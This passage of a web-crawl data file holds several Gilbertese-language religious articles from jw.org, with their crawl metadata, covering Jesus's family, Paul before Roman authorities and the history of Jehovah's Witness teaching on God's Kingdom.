itiman riki taimonio aika rangi ni buakaka riki nakoina, ao e taniaki irouia. N te kabotau aei, a a tia ni kaitiakaki ao n rinanon te kaboouaki te natannaomata ae Iteraera n aron te mwaane are e otinako mairouna te taimonio. Ma a rawa te natannaomata aei ni butimwaeia ana burabeti te Atua, ma e a korakora riki kaitaraan Iesu irouia are e ataaki raoi bwa iai irouna taamnein te Atua. E a teretere n aei bwa a a buakaka riki ngkai te natannaomata aei nakon are mai mwaina.\nNgke e tabe n taetae Iesu, ao a a roko tinana ma tarina n tei i rarikia te koraki. A taku nakoina ake a tekateka i rarikina: \"A tei i tinaniku tinam ma naake tarim, bwa a kani kawariko.\" E a kaota kaanin reitakina ma taan rimwina, ake kaanga oin tarina ao mwaanena ao tinana. E arora baina nakoia taan rimwina ao e kangai: \"Tinau ao tariu bon te koraki aikai, aika ongo ana taeka te Atua, ma n toua mwina.\" (Ruka 8:20, 21) E kaotia ngkanne bwa e ngae ngke e rangi ni kakawaki te reitaki are e kabaeaki iai ma ana utu, ma e rangi ni kakawaki riki reitakina ma taan rimwina. Ai kakukureira ngkana e a reke iroura te aeka n reitaki anne ma tarira n te onimaki, riki ngkana a nanououa iroura tabeman ke a kabuakakaira ao ni kabuakakai naba ara mwakuri!","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/e-boaia-baritaio\/","date":"2018-01-16T07:52:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00083.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":789,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"BON au bwai ni mwakuri ae rineaki teuaei, ae e na kaotiota arau nakoia natannaomata, ao ueea.\" (Mwa. 9:15) Anne ana taeka te Uea ae Iesu ibukini bitakin te I-Iutaia ae Tauro nakon te Aro ni Kristian are e a kinaaki iai bwa te abotoro Bauro.\nTemanna mai buakoia \"ueea\" akanne bon te Embera n Rom are Nero. Tera am namakin ngkana ko tei ibukin am onimaki i matan te tia tautaeka anne? A boni kaungaaki Kristian bwa a na kakairi irouni Bauro. (1Kor. 11:1) Te anga teuana ae ti kona ni karaoa iai anne, bon iaiangoan rabakauni Bauro n ana tua te tautaeka n ana tai.\nTe Tua Rinanoni Mote bon te tua n te aba ae Iteraera, ao bon te kaetieti ibukin te aroaro ni maiu ae riai ibukia I-Iutaia aika taua te Aro n taabo nako. Imwini Bentekota 33 C.E., a aki kabaeaki taan taromauri ni koaua bwa a na kawakina te Tua Rinanoni Mote. (Mwa. 15:28, 29; IKar. 4:9-11) Ma e karinea te Tua Bauro ao Kristian ake tabeman riki, ao a a kona n uarongorongo n aia tabo nako I-Iutaia n akea waewaeaia. (1Kor. 9:20) A boni bati taai ake e nanako iai Bauro nakon taian tinakoka, n uarongorongo nakoia aomata ake a ataa Atuan Aberaam ao ake e kona n reireinia man te Koroboki ae Tabu n te Taetae n Ebera.\nA rinea Ierutarem abotoro bwa te tabo are e moani baireaki mai iai te mwakuri n uarongorongo. A katoabong n reireinia aomata n te tembora. (Mwa. 1:4; 2:46; 5:20) N te taina ngke e mwananga Bauro nako Ierutarem, ao e a kabureaki iai. E moa mai ikanne kaboowiana ni karokoa rokona i Rom.\nBAURO AO TE TUA N ROM\nTera aia iango kaain te tautaeka n Rom n taiani koaua ake e uarongorongoi Bauro? Ni kaekaan anne, e manena ataakin aia iango kaain Rom ibukia Aaro ni kabane. A aki kairoroia botaki man reeti nako i nanon aia embwaea bwa a na kitan aia Aro, ma tii ngkana e taraa n ruanikai iai te Tautaeka ke te aroaro ni maiu ae riai.\nA bati baika a kainaomataaki iai I-Iutaia n te embwaea n Rom. E taekinaki ae kangai n te boki ae Backgrounds of Early Christianity: \"E reke kakabwaiaia kaain te Aro n Iutaia n te embwaea n Rom. . . . A inaomata I-Iutaia ni waakina aia Aro ao a aki kairoroaki nakon taromaurian atuaia kaain Rom. A kona ni kairi maiuia aia aomata n aia tua.\" A aki karaoi naba baika irekereke ma te buaka. * Ngaia are e a kona Bauro ni kamanena te tua n Rom ni kamanoa iai aia onimaki I-Iutaia, ngke e katea bukin te Aro ni Kristian i mataia kaain te tautaeka n Rom.\nA kakaokoro aia anga taani kaitaraa Bauro ni kairiia aika mangori ao taan tautaeka bwa a na kaitaraa te abotoro. (Mwa. 13:50; 14:2, 19; 18:12, 13) Iangoa te bwai teuana ae riki. A ongo unimwaane n te ekaretia i Ierutarem te rongorongo ae butanako i buakoia I-Iutaia ae aongkoa Bauro e uarongorongoa \"te reirei ae kakewea te Tua Rinanoni Mote.\" A kona ni kairaki I-Iutaia aika Kristian ake a a tibwa rairaki ni karaki aikai, bwa a na iangoia ae e aki karinei ana babaire te Atua Bauro. Irarikin anne, e a kona te Tanirim ni katanoataa te Aro ni Kristian bwa e kewe ao e tannako man te Aro n Iutaia. Ngkana e riki anne, a a kona ni katuuaaeaki I-Iutaia ake a iraorao ma Kristian. A na riki iai bwa aomata aika katinanikuaki ao n tukaki aia uarongorongo n te tembora ke n tinakoka. Ngaia are a anga te taeka n reirei unimwaane n te ekaretia nakoni Bauro bwa e na kaotii kewen rongorongo aikai n nanakona nakon te tembora, ao ni karaoan te bwai teuana ae e aki tua nakoina te Atua ma e bon raoiroi.\nE karaoa anne Bauro, ao e a reke ana tai ni 'katea bukin te rongorongo ae raoiroi ao ni kamatoaa i matan te tautaeka.' (IBir. 1:7) A kiriwe I-Iutaia n te tembora ao a kan tiringa Bauro. E kabureaki Bauro irouni mataniwin ana taanga ni buaka Rom. Ngke e katauraoaki Bauro bwa e na kataereaki, e a kaotia ae te I-Rom ngaia. Ibukin anne, e a uotaki nako Kaitareia are a tautaekanaki iai I-Iutaia irouia kaain Rom. A reke ikanne ana tai aika kamimi ike e a ninikoria iai n uarongorongo i mataia taan tautaeka. E bae n reke iai kabwarabwaraan raoi te Aro ni Kristian nakoia aomata ake tao e karako aia atatai iai.\nE kabwarabwaraaki ni Mwakuri mwakoro 24 boowiani Bauro irouni Berika, ae te Kowana n Rom i Iutaia, are e a kaman ongo te bwai ae a kakoauaa Kristian. A katuuaaea Bauro I-Iutaia ibukin uruakan te tua n Rom n aanga aika tenua. A taekinna bwa e kauekea te karitei i buakoia I-Iutaia ni kabutaa te embwaea, e kairiri irouia te koraki n Aro teuana ae karuanikai, ao e kataia ni kamwaraea te tembora are kamanoaki n te tautaeka n Rom. (Mwa. 24:5, 6) E kona ni kamateaki ni bukibuki akanne.\nE kakaongora irouia Kristian ni boong aikai aroni Bauro ni kaaitarai bukibuki. E teimatoa n rau ao ni karinerine. E taekina te Tua ao aia koroboki Burabeti, n ikotaki naba ma riaina n taromauria 'Atuaia ana bakatibu.' Anne te inaomata naba ae reke irouia I-Iutaia ake tabeman riki i aan te tua n Rom. (Mwa. 24:14) Imwin tabeua te tai, e a kona Bauro ni katea bukin ana onimaki ao ni katanoataa i matan te kowana are imwina ae Borekio Beteto, ao te Uea naba ae Erote Akeriba.\nN tokina, ibukin ongoraean ana keiti e a taku Bauro: \"I bubutii bwa N na tei i matani Kaitara!\"\nKABOOWIANI BAURO IROUNI KAITARA\nE taku te anera imwina riki nakoni Bauro: \"Ko riai n tei i matani Kaitara.\" (Mwa. 27:24) E taekinna te Embera n Rom are Nero ni moan teina n tautaeka bwa e na aki motiki taekan taian tangitang ni kabane. N ana moan ririki n tautaeka aika wanua, e taneiai n tibwai mwioko nakoia tabemwaang. E ribootinaki n te boki ae The Life and Epistles of Saint Paul bwa ngkana e kariaia Nero te tangitang teuana bwa e na motika taekana, e ongoraeia n ana baareti ma taan anga taeka n reirei aika rangi ni mwaatai ao ni mwaaka.\nE aki taekinaki n te Baibara bwa e ongoraea ana tangitang Bauro Nero ao ni motika taekana, ke e mwiokoa temanna bwa e na ongoraeia ao n ribootinna nakoina. N aki ongeia bwa tera ae e rineia Nero ma e bae ni kabwarabwaraa Bauro bwa e taromauria Atuaia I-Iutaia ao e kaumakiia aomata nako bwa a na angan te tautaeka te karineaki ae tau n anganaki. (IRom 13:1-7; Tit. 3:1, 2) E taraa n ae e nakoraoi kateani bukin te rongorongo ae raoiroi irouni Bauro i mataia bwakuaku n te tautaeka, bwa e kainaomataaki ni kaboowiana irouni Kaitara.\nMWIOKOARA NI KATEANI BUKIN TE RONGORONGO AE RAOIROI\nE taku Iesu nakoia taan rimwina: \"Ane kam na katikaki nako mataia kowana ao ueea ibukiu, bwa kam na kaotioti nakoia, ao nakoia akana tiaki I-Iutaia.\" (Mat. 10:18) Bon te mwioko ae kakawaki te tei ibukin Iesu n aron aei. Ti kona n tokanikai n ara tangitang nakon te tautaeka man ara kakorakora ni katea bukin te rongorongo ae raoiroi. Ni koauana, te baere a baireia aomata aika aki kororaoi e aki 'kamatoaa i matan te tautaeka' taekan te rongorongo ae raoiroi n te aro ae kororaoi. Bon tii Ana Tautaeka n Uea te Atua ae e na karokoa te kabebeteaki n aki toki man te rawawata ao te ribuaka.\nMa e kona naba ni karaoiroaki aran Iehova ni boong aikai ngkana a katea bukin aia onimaki Kristian. Ti riai ni katotonga Bauro n arona n rau, ni bwabwaina te koaua, ao n anai nanoia aomata. E tuangia taan rimwina Iesu bwa a aki riai ni 'moantaai ni katauraoi aroia ni kaekai bukinaia, bwa e na angania aia taeka ma te wanawana, are a na aki kona n tukia taani kaaitaraia ke ni kakeweia.'\nNgkana a katea bukin aia onimaki Kristian i mataia ueea, kowana, ke kaain te tautaeka riki tabeman, a a kona n uarongorongo iai nakoia aomata ake tao e kangaanga kawaraia ma te reirei ni Kristian. Iai tabeua babaire n te boowi aika tei n ara itera ake a kanakoraoi riki tuua n te tautaeka, ike a a boutokaa iai inaomatara n uarongorongo ao n taromauri. E ngae ngke tera mwin tangitang aikai, ma e kimwareirei te Atua ngkai a ninikoria ana toro i aani kataaki.\n^ bar. 8 E taku te tia kororongorongo ae James Parkes: \"A inaomata I-Iutaia . . . ni kakaraoi aia toa. Akea te bwai ae kaokoro ni kakabwaia aikai, bwa ni karaoaia irouia kaain Rom a bon tii tou mwin aia katei ake a taneiai ni kakaraoi, n anga te inaomata ae rianako n te tabo teuana ma teuana ni mwakoron aia embwaea aika kakaokoro.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-kaongora-ibukin-te-reirei-n-tebetembwa-2016\/kateani-bukin-te-rongorongo-ae-raoiroi-i-mataia-bwakuaku-n-te-tautaeka\/","date":"2018-01-23T21:55:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00428.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1468,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kabotauia aomata Iehova ma biiku\nTi na kangaa ni karekea 'te nano n ataa' Iehova?\nE na anganira Iehova 'te nano n ataia' ngkana ti reiakina ana Taeka ao ni maiuakinna\nTi riai n tuoa raoi nanora ao n taeki aroaro ao baike ti tatangiri ake a kona ni karuanikaia ara iraorao ma Iehova","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/eberi-2017-mwb\/kaetieti-n-te-botaki-ebe10-16\/iai-iroum-te-nano-n-ataa-iehova\/","date":"2018-01-21T19:49:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890823.81\/warc\/CC-MAIN-20180121175418-20180121195418-00170.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":55,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.509,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1, 2. N te aro raa ae e kaotia raoi Iesu bwa te tia kaneweaba ngaia ae wanawana?\nIANGOIA bwa aongkoa e a kairiko te tia kaneweaba ae mwaatai n neweabaan te kaawa ae kamimi ma n tikiraoi. Ko boou n te kaawa anne ma naake raom, ngaia are ko rangi ni kakauongo raoi nakon ana taeka nako te tia kaneweaba. N tabetai ao ko ingainga ma naake raom n iruwa nakoni bwaai tabeua ake kam tuai n nori. Ma ngke ko a titirakina am tia kaneweaba taekani bwaai akanne, ao e aki kaeka ni karokoa te tai ae riai. N angiin te tai e kaeka ngkana e noraki te bwai are ko titiraki iai. Imwina riki ao e a anaaki nanom ni wanawanana, bwa e tuangko raoi te bwai are ko kainnanoa ataakina n te tai are ko bon riai n ataia iai.\n2 A rinanon naba aekakin aei Kristian ni koaua. Ti ingainga n reiakina taekan te kaawa ae te kabanea ni kamimi, ae \"te kaawa ae iai aana ae matoatoa,\" ae ana Tautaeka n Uea te Atua. (Ebera 11:10) Ngke e mena Iesu n te aonnaba ao boni ngaia te tia kaneweabaia taan rimwina, ae e kaiririia nakon te atatai ae nano riki ibukin te Tautaeka n Uea anne. Te koaua bwa e bane ni kaekai aia titiraki ao e tuangia bwaai nako ibukin te Tautaeka n Uea n te tai ae tii teuana? E aki. E taku: \"A bati riki baika I kan tuangingkami, ma kam aki kona n ota moa iai ngkai.\" (Ioa. 16:12) E aki kona ni karawawataia taan rimwina Iesu n te atatai ae a tuai n tauraoi nako iai, bwa bon te tia kaneweaba ngaia ae te kabanea ni wanawana.\n3, 4. (a) E kangaa Iesu n teimatoa n reireinia aomata aika kakaonimaki taekan ana Tautaeka n Uea te Atua? (b) Tera ae ti na iangoia n te mwakoro aei?\n3 E taekin Iesu taeka ake a koreaki n Ioane 16:12 n ana kabanea n tairiki ni maiu i aon te aba. E na kangaa n teimatoa n reireinia aomata aika kakaonimaki taekan ana Tautaeka n Uea te Atua imwini matena? E karaui nanoia ana abotoro ni kangai: \"Te taamnei ae raoiroi . . . e na kairingkami bwa kam na ota raoi n te koaua.\" * (Ioa. 16:13) Ti bae n iangoa te taamnei ae raoiroi bwa te tia kaneweaba ae taotaonakinnano. Te taamnei bon ana bwai n reirei Iesu nakoia taan rimwina, ni kaineti ma te bwai are a kainnanoa ataakina ibukin te Tautaeka n Uea n te tai are a riai n ataia iai.\n4 Ti na iangoa aron taamnein Iehova ni kaiririia Kristian ni koaua nakon te atatai ae kakawaki riki ibukin te Tautaeka n Uea. Te moan, ti na iangoa ara koaua ni kaineti ma te tai are e a kairiri iai ana Tautaeka n Uea te Atua. Ao imwina ti na neneria bwa antai taani kairiri n te Tautaeka n Uea ao antai aika a na mena i aana, ao baikara aia kantaninga. Ni kabaneana, ti na noria bwa a kangaa taan rimwini Kristo ni karekea otaia ae mataata riki ae kainnanoaki ibukin te kakaonimaki ni koaua nakon te Tautaeka n Uea.\nAtaakin te Ririki ae Moan te Kakawaki\n5, 6. (a) Tera aia iango ae kairua taan Reirei n te Baibara ibukini katean te Tautaeka n Uea ao ibukin te tai n tai? (b) E aera ngkai iango aika kairua aikai a aki riai ni kananououaa aron Iesu ni kairiia taan rimwina?\n5 N aron are ti noria ni Mwakoro 2 n te boki aei, a kabanea tatabebwi te ririki Taan Reirei n te Baibara ni kotea te ririki ae 1914 bwa e kakawaki ni kakoroani bukin te taetae ni burabeti n te Baibara. Ma n te tai anne, a kakoauaa bwa e a oki ma n tiku Kristo n 1874, e tautaeka i karawa n 1878, ao e na tei raoi te Tautaeka n Uea aei n Okitobwa 1914. E na waaki te tai n tai man 1874 nakon 1914, ao e na toki ngkana a a ikotaki taani kabiraki nako karawa. Te koaua bwa iango aika kairua n aron aikai, a kananououaa bwa e kairiia Iesu rinanon te taamnei ae raoiroi te koraki akana kakaonimaki akanne ke e aki?\n6 E bon aki! Manga iangoa ara kaikonaki are ti moan taekinna i eta. Te koaua bwa e na kananououaaki onimakinan te tia kaneweaba, ngkana a biririmoa iruwa n titiraki i aoni baika a ingainga ni kantaningai ke ni kan nori? E aki! A kona naba n tabetai ana aomata te Atua ni kataia ni kaotaia ni kabwarabwaraan ana kantaninga te Atua imwain ae a kairaki iroun te taamnei ae raoiroi nakoni koaua akanne. E ngae n anne, e teretere bwa e boni kaiririia Iesu. Mangaia are a kaotia raoi naake a kakaonimaki bwa a kani kaetaki ao a nanorinano ni kaetietii aia iango.\n7. Baikara oota aika kia ni kaineti ma te onimaki ake a kakabwaiaaki iai ana aomata te Atua?\n7 N ririki ake imwin 1919 ao a a kakabwaiaaki ana aomata te Atua n ririkiraken te oota ae kia ni kaineti ma te onimaki. (Wareka Taian Areru 97:11.) N 1925 ao e kaoti te kaongora ae kakawaki n Te Taua-n-Tantani, ae atuna \"Bungiakin te Natannaomata.\" A kaotaki iai bwaai ni kakoaua man te Baibara bwa e bungiaki te Tautaeka n Uea ae kairaki iroun te Mesia n 1914, ni kakororaoani bannan te taetae ni burabeti are taekan te aine ae mena i karawa are bung, are koreaki n Te Kaotioti mwakoro 12. * E kaotaki riki n te kaongora aei bwa te bwainikirinaki ao te kangaanga are roko i aoia ana aomata Iehova n ririki ni buaka akanne, bon taiani kanikina aika teretere bwa e a tia Tatan ni karenakoaki mai karawa, ao \"e a korakora unna ngkai e ataia bwa e a kimototo ana tai.\"\n8, 9. (a) E kangaa ni moanibwaiaki kakawakin te Tautaeka n Uea? (b) Baikara titiraki aika ti na rinanoi?\n8 Tera aroni kakawakin te Tautaeka n Uea anne? N 1928 ao e a katuruturuaki n Te Taua-n-Tantani bwa e kakawaki riki te Tautaeka n Uea nakoni kamaiuaia aomata rinanon te karea ni kaboomwi. E na boni katabua arana Iehova rinanon te Tautaeka n Uea iroun te Mesia, e na kaota riaini mwaakana n tautaeka, ao e na kakororaoi ana kantaninga ni kabane ibukia aomata.\n9 Antai aika a na kairiri ma Kristo n te Tautaeka n Uea anne? Antai aika a na maeka n te aonnaba i aan te Tautaeka n Uea anne? Ao tera te mwakuri ae a riai ni katabetabeia iai taan rimwini Kristo?\nE Kaatuuaki te Mwakuri n Tai i Aoia Taani Kabiraki\n10. Tera ae a a kaman ota iai ana aomata te Atua ibukia 144,000?\n10 Tatabebwi te ririki imwain 1914, ao a a kaman ota Kristian ni koaua bwa e na tautaeka Kristo i karawa ma taan rimwina aika 144,000. * A noria Taan Reirei n te Baibara bwa tiaki te kaikonaki te ware anne ao e waaki kakoroan te mwaiti anne ni moa man te moan tienture C.E.\n11. E kangaa n ririkirake aia atatai ibukini mwiokoaia i aon te aba naake a kantaningaaki bwa a na kaaina te rabwata are buuni Kristo?\n11 Ma tera ae a na karaoia ngkai a boni mena naba i aon te aba, naaka kantaningaaki aikai bwa a na kaaina te rabwata are buuni Kristo? A noria bwa e moanibwaia Iesu te mwakuri n uarongorongo ao e kairekerekea ma te tai n tai. (Mat. 9:37; Ioa. 4:35) N aron ae ti ataia ni Mwakoro 2, ao a kakoauaa n taai akanne bwa maanin te tai n tai bon 40 te ririki, ao e toki ngke a a ikotaki taani kabiraki nako karawa. Ma ibukina bwa e bon reitinako naba te mwakuri imwin 40 te ririki, e a kainnanoaki riki te kamataata. Ti a ataia ngkai bwa e moanaki n 1914 te tai n tai are a kamaenakoaki iai uita mai buakoia titania, ae Kristian aika kabiraki aika kakaonimaki mai buakoia Kristian ni kewe. E a roko te tai are ti nang kaatuua iai ara iango i aon ikotakia nikiran te mwaiti ake kaain te nako karawa!\n12, 13. E kangaa ni kakororaoaki ana kaikonaki Iesu are taekaia ataeinnaine aika tengaun ao te tarena ni kabaneani boong?\n12 E teimatoa Kristo ni kaira te toro ae kakaonimaki ma ni wanawana ni moa man 1919, bwa a na moanibwaia te mwakuri n uarongorongo. E mwiokoiia iai n te moan tienture. (Mat. 28:19, 20) E kaotia naba bwa baikara aroaroia taan rimwina ake a kabiraki akekei ae a kainnanoia bwa a aonga ni kakororaoa te mwioko ae te uarongorongo. N te aro raa? N ana kaikonaki are ataeinnaine aika tengaun, e kaotia iai bwa a na teimatoa taani kabiraki n taratara raoi, ao n tatauraoi ni kaineti ma te onimaki, ngkana a na roko n tiaia ae te ibuokanibwai n te baka ni mare ae kakannato i karawa, are e na katiteuanaaki iai Kristo ma \"buuna\" aika kaain 144,000. (TeKao. 21:2) N ana kaikonaki ngkanne Iesu are te tarena, e a angareirei iai bwa a na kakorakoraia ana toro aika kabiraki ni karaoa te mwakuri n uarongorongo are e mwiokoiia iai.\n13 A a tia taani kabiraki n taratara raoi ao a kakorakoraia n te tienture ae nako aei. E na bon reke kaniwangaia ibukin aia taratara raoi! Ma e na onoti te mwakuri n tai ae kakannato aei tii ibukin ikotakia nikiraia raoni Kristo n tautaeka ake 144,000?\nE Ikotiia Ana Aomata te Tautaeka n Uea Aika A na Maeka n te Aonnaba!\n14, 15. Baikara kurubu aika aua aika kakaokoro ake a maroroakinaki n te boki ae The Finished Mystery?\n14 A rangi ni kan ataa taekan te \"koraki ae uanao\" (\"aomata aika rangi ni mwaitikurikuri,\" King James Version) are taekinaki n Te Kaotioti 7:9-14, mwaane ao aine aika kakaonimaki. E aki kamimi bwa imwain ana tai Kristo ni kaotia bwa antai te kurubu ae bubura aio, ao a bati bwaai aika taekinaki iai aika rangi ni kaokoro ma koaua aika kai ota aika ti atai ma n tangiri ni boong aikai.\n15 N 1917 ao e taekinaki n te boki ae The Finished Mystery bwa iai \"uoua itera ke aeka ni kakamaiu i Karawa, ao uoua itera ke aeka ni kakamaiu i aon te aba.\" Antai kaaini kurubu aika aua aikai aika kakaokoro aia kantaninga ibukin te kakamaiu? Te moan, bon taekaia 144,000 aika a na tautaeka ma Kristo. Te kauoua, bon taekaia aomata aika rangi ni mwaitikurikuri. N taai akekei ao e iangoaki bwa bon taekaia naake a taku bwa Kristian ngaiia ake a teimatoa ni kaaini Aaro ake aongkoa Kristian. Iai aia onimaki ma e aki tau ibukin teimatoaia ni bwaina raoi te eti. Ngaia are a na bae n anganaki nneia ae aki kakannato i karawa. Ibukin te aonnaba, e iangoaki bwa te katenua ni kurubu ae \"te koraki ake mangkoa aika tau ibukin te kamaiuaki\" aika kakaonimaki n aron Aberaam, Mote, ao tabeman riki, ake a na mwiokoaki i aoia te kaaua ni kurubu aika kaain te aonnaba.\n16. Baikara taian oota ni kaineti ma te onimaki ake a kia n 1923 ao n 1932?\n16 E kangaa te taamnei ae raoiroi ni kairiia taan rimwini Kristo nakon otara ae ngkai? E riki anne teutana imwin teutana rinanon te oota ni kaineti ma te onimaki ae kia n taina ae riai. Ni moan 1923 ao e kaatuuaki n Te Taua-n-Tantani taekan te kurubu teuana ae akea aia kantaninga ibukin te nako karawa ake a na maeka n te aonnaba i aan ana tautaeka Kristo. N 1932 ao e maroroakinaki n Te Taua-n-Tantani taekan Ionataba (Ieonataba), are e nimta ana kabiraki te Atua ae te I-Iteraera are te Uea are Ieu, bwa e na buokia ni buakana te taromauri ae kewe. (2Uea 10:15-17) E taekinaki n te kaongora bwa iai te koraki n aomata n taai aikai aika ai aron Ionataba, ao e taekinaki riki iai bwa e na kamaiuia Iehova te koraki aei \"mai buakon taiani kangaanga aika a na riki n Aremaketon\" bwa a na maeka n te aonnaba aei.\n17. (a) Tera te oota ni kaineti ma te onimaki ae rangi n otamwaaka ae kia n 1935? (b) Tera aron rotakia Kristian aika kakaonimaki n te ota ae boou ibukin te koraki ae rangi ni mwaitikurikuri? (Nora te bwaoki ae \"Te Raunnano ae Rangi ni Bati.\")\n17 N 1935 ao e a kia te oota ni kaineti ma te onimaki ae rangi n otamwaaka. N te bwabwaro ae boo i Washington, D.C., ao a a kinaaki aomata aika rangi ni mwaitikurikuri ake te koraki ake kaain te aonnaba, are titeboo ma tiibu ake n ana kaikonaki Iesu are tiibu ma kooti. (Mat. 25:33-40) A na mena aomata aika rangi ni mwaitikurikuri aikai i buakoia \"tiibu tabemwaang,\" ake e taku Iesu ibukia: \"N na kairiia naba.\" (Ioa. 10:16) Ngke e titiraki ni kangai te tia kabwarabwara ae J. F. Rutherford: \"Kam kona n taiaoka n teirake te koraki ake a kantaningaa te maiu n aki toki n te aonnaba?\" ao te koraki ake a tei e bon raka i aon iterani mwaitiia ake a roko! E taku: \"Taraia! Ao aikai aomata aika rangi ni mwaitikurikuri!\" A bati ake a a mataata n aia kantaninga ae mena imwaia nakon taai aika a na roko.\n18. A kangaa taan rimwini Kristo ni kakorakoraia n te mwakuri ni minita ao tera mwina?\n18 E a tia Kristo man te tai anne ni kairiia ana aomata bwa a na kakorakoraia n ikotiia te koraki ake a kantaningaaki bwa kaain te koraki ae uanao ake a na otinako, a na maiu, ao a na mano, man te rawawata ae korakora. N te moantai ao a aki taraa ni mwaiti naaka a ikotaki aikai. E taekina naba ngkoa ae kangai Brother Rutherford: \"E taraa n ae a na aki rangi ni mwaitikurikuri 'te koraki ae mwaitikurikuri.'\" Ti a bon ataa ngkai aron Iehova n rangi ni kakabwaiaa taiakin te uaa ni karokoa ngkai! I aan ana kairiri Iesu ao te taamnei ae raoiroi, e a boni koro bukin are e a kaman taekinna Iesu ibukia taani kabiraki ao raoia ake \"tiibu tabemwaang,\" are a na \"tii tenanaina\" ni kaai n toro iroun \"temanna te tia kawakintiibu.\"\n19. Ti na kangaa n uataboa karikirakeani mwaitiia te koraki ae uanao?\n19 A na maeka n aki toki angia aomata aika kakaonimaki n te aonnaba ae te bwaretaiti, ae tautaekanaki irouni Kristo ma raona n tautaeka aika 144,000. Tiaki te koaua bwa e kakukurei iangoan aroni Kristo ni kairiia ana aomata te Atua nakon te kantaninga n te Baibara ae mataata ibukin taai aika a na roko? Ai kabwaiara ngaira ngkana ti tataekina te kantaninga anne nakoia te koraki ake ti kaitiboo ma ngaiia n te mwakuri ni minita! Ti na kakorakoraira ni mwakuri n aron ae ti kona bwa e aonga n ririkirake mwaitiia te koraki ae uanao, n takaruaea neboan aran Iehova n te bwanaa ae korakora!\nTe Bae Kainnanoaki Ibukin te Kakaonimaki ni Koaua Nakon te Tautaeka n Uea\n20. Antai ake a kaaina ana botaki Tatan, ao e kangaa n irekereke iai te kakaonimaki ni koaua ni Kristian?\n20 Ngkai a teimatoa ana aomata te Atua n reiakina taekan te Tautaeka n Uea, a riai naba n ota raoi n ae nanonaki n te kakaonimaki ni koaua nakon te tautaeka mai karawa anne. Ni kaineti ma aei n 1922, ao e taekinna Te Taua-n-Tantani bwa iai botaki aika uoua ake a waaki, ae ana botaki Iehova ao Tatan. E kaainaki ana botaki Tatan irouia bitineti, Aaro, ao tautaeka. A riai te koraki ake a kakaonimaki ni koaua nakon ana Tautaeka n Uea te Atua i aani Kristo, n aki reitaki buaka teutana ma ana botaki Tatan, bwa a na kakeaa iai aroia ni kakaonimaki ni koaua. (2Kor. 6:17) Tera ae nanonaki n anne?\n21. (a) E kangaa te toro ae kakaonimaki n anga te kauring nakoia ana aomata te Atua ni kaineti ma te waaki ni bitineti n te aonnaba? (b) Tera taekani \"Baburon ae Kakannato\" ae kaotaki n Te Taua-n-Tantani ae n 1963?\n21 E teimatoa ni kaotaraeaki mangaongaon te waaki ni bitineti n te aonnaba n rongorongo aika roko mairoun te toro ae kakaonimaki, ao a anganaki te kauring ana aomata te Atua bwa a na aki kairekerekeia ma te mataai ni kanibwaibwai. (Mat. 6:24) A teimatoa naba ni kaatuuaki n ara boki taekaia Aaro ae iteran naba ana botaki Tatan. N 1963 ao e kamatataaki n Te Taua-n-Tantani taekani \"Baburon ae Kakannato\" bwa e aki tii tei ibukia Aaro ake aongkoa Kristian ngaiia, ma ibukin naba te botaki n Aro ae kewe ae katobibia te aonnaba. Mangaia ae n aron ae ti na noria ni Mwakoro 10 n te boki aei, a a tia ni buokaki ana aomata te Atua n aaba nako ma katei bwa a na \"otinako mai nanona,\" ao ni kaitiakiia man aia mwakuri nako Aaro aika kewe.\n22. A kangaa n ota ana aomata te Atua aika bati n te kaungaunga ae n I-Rom 13:1 n tain te Moani Buaka Are Kabutaa Aonnaba?\n22 Ma tera aron iteran ana botaki Tatan ae taiani waaki n tautaeka? A kona Kristian ni koaua n irii buaka ao aia itabarara natannaomata? N tain te Moani Buaka Are Kabutaa Aonnaba, ao a ota Taan Reirei n te Baibara bwa a aki riai taan rimwini Kristo n tiringia raoia n aomata. (Mat. 26:52) Ma a bati aika iangoia bwa te kaungaunga ae kuneaki n I-Rom 13:1 ae te ongeaba nakoia ake a \"mwiokoaki n te mwaaka n tautaeka,\" e nanonaki iai bwa a riai n ira te taanga ni buaka, a na bwaini aia kaboraoi tautia, ao n uotii naba bwaai ni buaka. Ma ngkana a tuangaki bwa a na tiringa aiaia ao a riai ni katiia te ea.\n23, 24. Tera otara n I-Rom 13:1 n tain te Kauoua ni Buaka Are Kabutaa Aonnaba, ao tera te iango ae eti riki are a kairaki iai taan rimwini Kristo?\n23 Ngke e a moanaki te Kauoua ni Buaka Are Kabutaa Aonnaba n 1939, ao e a moanibwaiaki n Te Taua-n-Tantani te maroro ae nano ni kaineti ma te tei i nuka. E kamatataaki n te kaongora aei bwa a aki riai Kristian n ira naba teutana te buaka ao aia itabarara natannaomata aika 